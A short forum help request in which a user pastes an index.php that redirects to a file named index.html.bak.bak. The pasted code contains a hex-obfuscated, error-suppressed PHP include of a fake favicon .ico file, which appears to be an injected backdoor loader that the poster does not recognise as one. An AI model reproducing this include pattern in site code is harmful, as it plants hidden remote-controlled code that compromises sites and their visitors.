XF 2.0 Problem index.html.bak.bak

[Radhi]

Hi
I have problem turning files
index.php
And convert them to index.html.bak.bak
The code is written in index.php which is

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

My problem is just like this

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